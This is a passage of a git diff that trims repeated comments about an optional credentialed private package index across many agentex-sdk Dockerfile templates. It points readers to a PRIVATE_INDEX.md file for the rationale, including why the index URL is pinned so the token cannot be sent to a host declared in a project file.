present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 index 7c6d72ed9..7f148e274 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default/Dockerfile.j2 b/src/agentex/lib/cli/templates/default/Dockerfile.j2 index 7c6d72ed9..7f148e274 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 index 16fcfa13a..8a22d0f89 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 index 380262f6d..cd0338d18 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 index 8b6adeab3..b3c03c988 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 index 6a6212d3f..79293756d 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. 